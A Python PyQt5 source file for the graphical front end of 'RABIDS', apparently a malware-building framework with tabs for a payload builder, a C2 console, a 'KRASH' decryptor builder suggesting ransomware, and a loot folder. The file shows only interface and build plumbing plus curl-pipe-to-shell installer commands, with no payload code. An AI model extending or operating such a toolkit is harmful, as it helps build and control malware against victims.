567 lines
17 KiB
Python
567 lines
17 KiB
Python
import sys
|
|
import os
|
|
import subprocess
|
|
import shutil
|
|
from pathlib import Path
|
|
from PyQt5.QtWidgets import QApplication, QMainWindow, QTabWidget
|
|
from PyQt5.QtGui import QFont
|
|
from PyQt5.QtCore import QThread, pyqtSignal
|
|
|
|
# Import all tab widgets from the TABS package
|
|
from TABS import (
|
|
BuilderWidget,
|
|
OutputWidget,
|
|
C2Widget,
|
|
KrashWidget,
|
|
GarbageCollectorWidget,
|
|
DocsWidget,
|
|
SettingsWidget,
|
|
SilentWhispersWidget
|
|
)
|
|
|
|
# Style constants
|
|
STYLE_SHEET = """
|
|
QMainWindow {
|
|
background-color: #0a0a0a;
|
|
}
|
|
QTabWidget::pane {
|
|
border: 1px solid #1a1a1a;
|
|
background-color: #0e0e0e;
|
|
}
|
|
QTabBar::tab {
|
|
background-color: #141414;
|
|
color: #909090;
|
|
padding: 8px 16px;
|
|
margin-right: 2px;
|
|
border: 1px solid #1a1a1a;
|
|
font-size: 9pt;
|
|
}
|
|
QTabBar::tab:selected {
|
|
background-color: #1a1a1a;
|
|
color: #d0d0d0;
|
|
border-bottom: 2px solid #404040;
|
|
}
|
|
QTabBar::tab:hover {
|
|
background-color: #1a1a1a;
|
|
color: #b0b0b0;
|
|
}
|
|
QWidget {
|
|
background-color: #0e0e0e;
|
|
color: #d0d0d0;
|
|
font-size: 9pt;
|
|
}
|
|
QGroupBox {
|
|
font-weight: bold;
|
|
border: 1px solid #1a1a1a;
|
|
margin-top: 10px;
|
|
padding-top: 10px;
|
|
background-color: #0e0e0e;
|
|
color: #909090;
|
|
font-size: 9pt;
|
|
}
|
|
QGroupBox::title {
|
|
subcontrol-origin: margin;
|
|
left: 10px;
|
|
padding: 0 3px;
|
|
color: #808080;
|
|
}
|
|
QPushButton {
|
|
background-color: #141414;
|
|
color: #d0d0d0;
|
|
border: 1px solid #1a1a1a;
|
|
padding: 8px 16px;
|
|
min-width: 100px;
|
|
min-height: 28px;
|
|
font-size: 9pt;
|
|
}
|
|
QPushButton:hover {
|
|
background-color: #1a1a1a;
|
|
border: 1px solid #252525;
|
|
}
|
|
QPushButton:pressed {
|
|
background-color: #0a0a0a;
|
|
}
|
|
QPushButton:disabled {
|
|
background-color: #0a0a0a;
|
|
color: #404040;
|
|
border: 1px solid #141414;
|
|
}
|
|
QLineEdit, QTextEdit, QPlainTextEdit {
|
|
background-color: #0a0a0a;
|
|
border: 1px solid #1a1a1a;
|
|
color: #d0d0d0;
|
|
padding: 6px;
|
|
font-size: 9pt;
|
|
}
|
|
QLineEdit:focus, QTextEdit:focus, QPlainTextEdit:focus {
|
|
border: 1px solid #303030;
|
|
}
|
|
QComboBox {
|
|
background-color: #141414;
|
|
border: 1px solid #1a1a1a;
|
|
color: #d0d0d0;
|
|
padding: 6px;
|
|
min-height: 28px;
|
|
font-size: 9pt;
|
|
}
|
|
QComboBox::drop-down {
|
|
border: none;
|
|
width: 20px;
|
|
}
|
|
QComboBox::down-arrow {
|
|
image: none;
|
|
border-left: 4px solid transparent;
|
|
border-right: 4px solid transparent;
|
|
border-top: 6px solid #808080;
|
|
margin-right: 5px;
|
|
}
|
|
QComboBox QAbstractItemView {
|
|
background-color: #141414;
|
|
border: 1px solid #1a1a1a;
|
|
color: #d0d0d0;
|
|
selection-background-color: #1a1a1a;
|
|
}
|
|
QCheckBox {
|
|
color: #d0d0d0;
|
|
spacing: 8px;
|
|
font-size: 9pt;
|
|
}
|
|
QCheckBox::indicator {
|
|
width: 16px;
|
|
height: 16px;
|
|
border: 1px solid #303030;
|
|
background-color: #0a0a0a;
|
|
}
|
|
QCheckBox::indicator:checked {
|
|
background-color: #303030;
|
|
border: 1px solid #404040;
|
|
}
|
|
QCheckBox::indicator:hover {
|
|
border: 1px solid #404040;
|
|
}
|
|
QTableWidget {
|
|
background-color: #0a0a0a;
|
|
border: 1px solid #1a1a1a;
|
|
gridline-color: #1a1a1a;
|
|
color: #d0d0d0;
|
|
font-size: 9pt;
|
|
}
|
|
QTableWidget::item {
|
|
padding: 4px;
|
|
border: none;
|
|
}
|
|
QTableWidget::item:selected {
|
|
background-color: #1a1a1a;
|
|
color: #ffffff;
|
|
}
|
|
QHeaderView::section {
|
|
background-color: #141414;
|
|
color: #909090;
|
|
padding: 6px;
|
|
border: 1px solid #1a1a1a;
|
|
font-weight: bold;
|
|
font-size: 9pt;
|
|
}
|
|
QListWidget {
|
|
background-color: #0a0a0a;
|
|
border: 1px solid #1a1a1a;
|
|
color: #d0d0d0;
|
|
font-size: 9pt;
|
|
}
|
|
QListWidget::item {
|
|
padding: 6px;
|
|
border-bottom: 1px solid #141414;
|
|
}
|
|
QListWidget::item:selected {
|
|
background-color: #1a1a1a;
|
|
color: #ffffff;
|
|
}
|
|
QListWidget::item:hover {
|
|
background-color: #141414;
|
|
}
|
|
QScrollBar:vertical {
|
|
background-color: #0a0a0a;
|
|
width: 12px;
|
|
border: none;
|
|
}
|
|
QScrollBar::handle:vertical {
|
|
background-color: #1a1a1a;
|
|
min-height: 30px;
|
|
border-radius: 6px;
|
|
}
|
|
QScrollBar::handle:vertical:hover {
|
|
background-color: #252525;
|
|
}
|
|
QScrollBar::add-line:vertical, QScrollBar::sub-line:vertical {
|
|
height: 0px;
|
|
}
|
|
QScrollBar:horizontal {
|
|
background-color: #0a0a0a;
|
|
height: 12px;
|
|
border: none;
|
|
}
|
|
QScrollBar::handle:horizontal {
|
|
background-color: #1a1a1a;
|
|
min-width: 30px;
|
|
border-radius: 6px;
|
|
}
|
|
QScrollBar::handle:horizontal:hover {
|
|
background-color: #252525;
|
|
}
|
|
QScrollBar::add-line:horizontal, QScrollBar::sub-line:horizontal {
|
|
width: 0px;
|
|
}
|
|
QLabel {
|
|
color: #909090;
|
|
font-size: 9pt;
|
|
}
|
|
QScrollArea {
|
|
border: none;
|
|
background-color: transparent;
|
|
}
|
|
"""
|
|
|
|
|
|
class BuildThread(QThread):
|
|
"""Thread to run the build process."""
|
|
output_signal = pyqtSignal(str)
|
|
finished_signal = pyqtSignal(bool)
|
|
|
|
def __init__(self, cmd, cwd):
|
|
super().__init__()
|
|
self.cmd = cmd
|
|
self.cwd = cwd
|
|
|
|
def run(self):
|
|
try:
|
|
process = subprocess.Popen(
|
|
self.cmd,
|
|
shell=True,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.STDOUT,
|
|
text=True,
|
|
cwd=self.cwd
|
|
)
|
|
|
|
for line in process.stdout:
|
|
self.output_signal.emit(line.rstrip())
|
|
|
|
process.wait()
|
|
success = process.returncode == 0
|
|
self.finished_signal.emit(success)
|
|
except Exception as e:
|
|
self.output_signal.emit(f"[ERROR] {str(e)}")
|
|
self.finished_signal.emit(False)
|
|
|
|
|
|
class DependencyInstallerThread(QThread):
|
|
"""Thread to install dependencies."""
|
|
output_signal = pyqtSignal(str)
|
|
finished_signal = pyqtSignal(bool)
|
|
|
|
def __init__(self, tool, install_cmd):
|
|
super().__init__()
|
|
self.tool = tool
|
|
self.install_cmd = install_cmd
|
|
|
|
def run(self):
|
|
try:
|
|
self.output_signal.emit(f"[*] Installing {self.tool}...")
|
|
process = subprocess.Popen(
|
|
self.install_cmd,
|
|
shell=True,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.STDOUT,
|
|
text=True
|
|
)
|
|
|
|
for line in process.stdout:
|
|
self.output_signal.emit(line.rstrip())
|
|
|
|
process.wait()
|
|
success = process.returncode == 0
|
|
if success:
|
|
self.output_signal.emit(f"[+] {self.tool} installed successfully")
|
|
else:
|
|
self.output_signal.emit(f"[-] Failed to install {self.tool}")
|
|
self.finished_signal.emit(success)
|
|
except Exception as e:
|
|
self.output_signal.emit(f"[ERROR] {str(e)}")
|
|
self.finished_signal.emit(False)
|
|
|
|
|
|
class RABIDSGUI(QMainWindow):
|
|
"""Main application window."""
|
|
|
|
def __init__(self):
|
|
super().__init__()
|
|
self.setWindowTitle("RABIDS")
|
|
self.setMinimumSize(1000, 700)
|
|
self.base_dir = Path(__file__).parent
|
|
|
|
# Apply global stylesheet
|
|
self.setStyleSheet(STYLE_SHEET)
|
|
|
|
# Create tab widget
|
|
self.tabs = QTabWidget()
|
|
self.setCentralWidget(self.tabs)
|
|
|
|
# Load configuration early so we can provide module options to builder
|
|
config = self.read_config()
|
|
module_options = config.get('module_options', {})
|
|
|
|
# Create all tab widgets
|
|
self.builder_widget = BuilderWidget(self.base_dir, module_options)
|
|
self.output_widget = OutputWidget(self.base_dir)
|
|
self.c2_widget = C2Widget(self.base_dir)
|
|
self.krash_widget = KrashWidget(self.base_dir)
|
|
self.garbage_widget = GarbageCollectorWidget(self.base_dir)
|
|
self.whispers_widget = SilentWhispersWidget(self.base_dir)
|
|
self.docs_widget = DocsWidget(self.base_dir)
|
|
self.settings_widget = SettingsWidget(self.base_dir)
|
|
|
|
# Add tabs
|
|
self.tabs.addTab(self.builder_widget, "BUILDER")
|
|
self.tabs.addTab(self.output_widget, "OUTPUT")
|
|
self.tabs.addTab(self.c2_widget, "C2")
|
|
self.tabs.addTab(self.krash_widget, "KRASH")
|
|
self.tabs.addTab(self.garbage_widget, "GARBAGE COLLECTOR")
|
|
self.tabs.addTab(self.whispers_widget, "WHISPERS")
|
|
self.tabs.addTab(self.docs_widget, "DOCUMENTATION")
|
|
self.tabs.addTab(self.settings_widget, "SETTINGS")
|
|
|
|
# Connect signals
|
|
self.connect_signals()
|
|
|
|
# Load settings
|
|
self.load_settings()
|
|
|
|
def connect_signals(self):
|
|
"""Connect all widget signals to their handlers."""
|
|
# Builder signals
|
|
self.builder_widget.build_requested.connect(self.handle_build)
|
|
self.builder_widget.log_message.connect(self.output_widget.log_message)
|
|
|
|
# C2 signals
|
|
self.c2_widget.connect_requested.connect(self.handle_c2_connect)
|
|
self.c2_widget.send_message_requested.connect(self.handle_c2_send)
|
|
|
|
# Krash signals
|
|
self.krash_widget.build_decryptor_requested.connect(self.handle_build_decryptor)
|
|
|
|
# Garbage Collector signals
|
|
self.garbage_widget.restore_requested.connect(self.handle_restore)
|
|
|
|
# Settings signals (connect to package-manager-aware installer)
|
|
self.settings_widget.install_nim_tool_requested.connect(
|
|
lambda: self._install_from_widget("nim")
|
|
)
|
|
self.settings_widget.install_rust_tool_requested.connect(
|
|
lambda: self._install_from_widget("rust")
|
|
)
|
|
self.settings_widget.install_python_requested.connect(
|
|
lambda: self._install_from_widget("python")
|
|
)
|
|
self.settings_widget.install_nimble_requested.connect(
|
|
lambda: self._install_from_widget("nimble")
|
|
)
|
|
self.settings_widget.install_rust_targets_requested.connect(
|
|
lambda: self._install_from_widget("rust_targets")
|
|
)
|
|
self.settings_widget.install_docker_requested.connect(
|
|
lambda: self._install_from_widget("docker")
|
|
)
|
|
|
|
def _install_from_widget(self, tool):
|
|
cmd = self.get_install_cmd(tool)
|
|
if not cmd:
|
|
self.output_widget.log_message(f"[-] No suitable package manager found for installing '{tool}'. Please install manually.")
|
|
return
|
|
self.install_dependency(tool, cmd)
|
|
|
|
def get_install_cmd(self, tool):
|
|
"""Return an appropriate install command for `tool` based on detected package manager."""
|
|
# Detect package manager
|
|
pm = None
|
|
if shutil.which("brew"):
|
|
pm = "brew"
|
|
elif shutil.which("apt-get") or shutil.which("apt"):
|
|
pm = "apt"
|
|
elif shutil.which("pacman"):
|
|
pm = "pacman"
|
|
elif shutil.which("choco"):
|
|
pm = "choco"
|
|
elif shutil.which("winget"):
|
|
pm = "winget"
|
|
|
|
# Map tool -> command per package manager
|
|
if tool == "nim":
|
|
if pm == "brew":
|
|
return "curl https://nim-lang.org/choosenim/init.sh -sSf | sh"
|
|
if pm == "apt":
|
|
return "sudo apt-get update && sudo apt-get install -y nim"
|
|
if pm == "pacman":
|
|
return "sudo pacman -S --noconfirm nim"
|
|
if pm == "choco":
|
|
return "choco install nim -y"
|
|
if pm == "winget":
|
|
return "winget install -e --id NimLang.Nim"
|
|
return "curl https://nim-lang.org/choosenim/init.sh -sSf | sh"
|
|
|
|
if tool == "rust":
|
|
cmd = "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y"
|
|
return cmd
|
|
|
|
if tool == "python":
|
|
if pm == "brew":
|
|
return "brew install python"
|
|
if pm == "apt":
|
|
return "sudo apt-get update && sudo apt-get install -y python3 python3-pip"
|
|
if pm == "pacman":
|
|
return "sudo pacman -S --noconfirm python python-pip"
|
|
if pm == "choco":
|
|
return "choco install python -y"
|
|
if pm == "winget":
|
|
return "winget install Python.Python.3"
|
|
return "python3 -m pip install --upgrade pip"
|
|
|
|
if tool == "nimble":
|
|
return "nimble install -y"
|
|
|
|
if tool == "rust_targets":
|
|
# Add a common Windows target as example
|
|
return "rustup target add x86_64-pc-windows-gnu"
|
|
|
|
if tool == "docker":
|
|
if pm == "brew":
|
|
return "brew install --cask docker"
|
|
if pm == "apt":
|
|
return "sudo apt-get update && sudo apt-get install -y docker.io"
|
|
if pm == "pacman":
|
|
return "sudo pacman -S --noconfirm docker"
|
|
if pm == "choco":
|
|
return "choco install docker-desktop -y"
|
|
return None
|
|
|
|
def handle_build(self, modules, options):
|
|
"""Handle build request from builder widget."""
|
|
self.output_widget.log_message("[*] Starting build process...")
|
|
|
|
# Switch to output tab
|
|
self.tabs.setCurrentWidget(self.output_widget)
|
|
|
|
# Prepare build command using compiler.py
|
|
cmd_parts = ["python3", "compiler.py"]
|
|
|
|
for module in modules:
|
|
cmd_parts.append(f"--module={module}")
|
|
|
|
for key, value in options.items():
|
|
if value:
|
|
if isinstance(value, bool):
|
|
cmd_parts.append(f"--{key}")
|
|
else:
|
|
cmd_parts.append(f"--{key}={value}")
|
|
|
|
cmd = " ".join(cmd_parts)
|
|
self.output_widget.log_message(f"[*] Command: {cmd}")
|
|
|
|
# Run build in thread
|
|
self.build_thread = BuildThread(cmd, str(self.base_dir))
|
|
self.build_thread.output_signal.connect(self.output_widget.log_message)
|
|
self.build_thread.finished_signal.connect(self.on_build_finished)
|
|
self.build_thread.start()
|
|
|
|
def on_build_finished(self, success):
|
|
"""Handle build completion."""
|
|
if success:
|
|
self.output_widget.log_message("[+] Build completed successfully")
|
|
self.output_widget.update_loot_folder_view()
|
|
else:
|
|
self.output_widget.log_message("[-] Build failed")
|
|
|
|
def handle_c2_connect(self, host, port):
|
|
"""Handle C2 connection request."""
|
|
self.output_widget.log_message(f"[*] Connecting to C2 at {host}:{port}...")
|
|
|
|
def handle_c2_send(self, message):
|
|
"""Handle C2 send message request."""
|
|
self.output_widget.log_message(f"[*] Sending C2 message: {message}")
|
|
|
|
def handle_build_decryptor(self, key):
|
|
"""Handle decryptor build request."""
|
|
self.output_widget.log_message(f"[*] Building decryptor with key: {key}")
|
|
self.tabs.setCurrentWidget(self.output_widget)
|
|
|
|
def handle_restore(self, archive_path):
|
|
"""Handle file restore request."""
|
|
self.output_widget.log_message(f"[*] Restoring from archive: {archive_path}")
|
|
self.tabs.setCurrentWidget(self.output_widget)
|
|
|
|
def install_dependency(self, tool, cmd):
|
|
"""Install a dependency."""
|
|
self.output_widget.log_message(f"[*] Installing {tool}...")
|
|
self.tabs.setCurrentWidget(self.output_widget)
|
|
|
|
self.installer_thread = DependencyInstallerThread(tool, cmd)
|
|
self.installer_thread.output_signal.connect(self.output_widget.log_message)
|
|
self.installer_thread.finished_signal.connect(
|
|
lambda success: self.output_widget.log_message(
|
|
f"[+] {tool} installation completed" if success else f"[-] {tool} installation failed"
|
|
)
|
|
)
|
|
self.installer_thread.start()
|
|
|
|
def load_settings(self):
|
|
"""Load settings from config file."""
|
|
config_path = self.base_dir / "rabids_config.json"
|
|
if config_path.exists():
|
|
try:
|
|
with open(config_path, 'r', encoding='utf-8') as f:
|
|
config = __import__('json').load(f)
|
|
# Apply settings to widgets as needed
|
|
try:
|
|
self.builder_widget.load_settings(config)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.settings_widget.load_settings(config)
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
pass
|
|
|
|
def read_config(self):
|
|
"""Return parsed configuration dict or empty dict."""
|
|
config_path = self.base_dir / "rabids_config.json"
|
|
if config_path.exists():
|
|
try:
|
|
with open(config_path, 'r', encoding='utf-8') as f:
|
|
return __import__('json').load(f)
|
|
except Exception:
|
|
return {}
|
|
return {}
|
|
|
|
def save_settings(self):
|
|
"""Save settings to config file."""
|
|
config_path = self.base_dir / "rabids_config.json"
|
|
try:
|
|
config = {}
|
|
# Gather settings from widgets as needed
|
|
with open(config_path, 'w') as f:
|
|
__import__('json').dump(config, f, indent=4)
|
|
except Exception:
|
|
pass
|
|
|
|
def closeEvent(self, event):
|
|
"""Handle window close event."""
|
|
self.save_settings()
|
|
super().closeEvent(event)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
app = QApplication(sys.argv)
|
|
window = RABIDSGUI()
|
|
window.show()
|
|
sys.exit(app.exec_())
|